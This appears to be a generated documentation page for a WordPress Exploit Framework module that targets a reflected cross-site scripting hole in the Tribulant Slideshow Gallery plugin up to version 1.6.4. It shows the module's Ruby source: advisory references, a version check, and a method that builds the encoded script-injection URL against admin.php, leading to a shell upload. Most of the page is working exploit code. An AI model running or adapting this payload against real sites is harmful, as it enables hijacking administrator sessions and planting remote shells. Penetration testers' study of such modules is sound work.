class Wpxf::Exploit::TribulantSlideshowGalleryReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'Tribulant Slideshow Gallery <= 1.6.4 Reflected XSS Shell Upload', author: [ 'Spyros Gasteratos', # Discovery 'rastating' # WPXF module ], references: [ ['WPVDB', '8786'], ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_tribulant_slideshow_galleries_wordpress_plugin.html'] ], date: 'Mar 01 2017' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb, line 23 def check check_plugin_version_from_readme('slideshow-gallery', '1.6.5') end
url_with_xss()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb, line 31 def url_with_xss "#{vulnerable_url}?page=slideshow-galleries&method=savegtlcq%5C%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E" end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb, line 27 def vulnerable_url normalize_uri(wordpress_url_admin, 'admin.php') end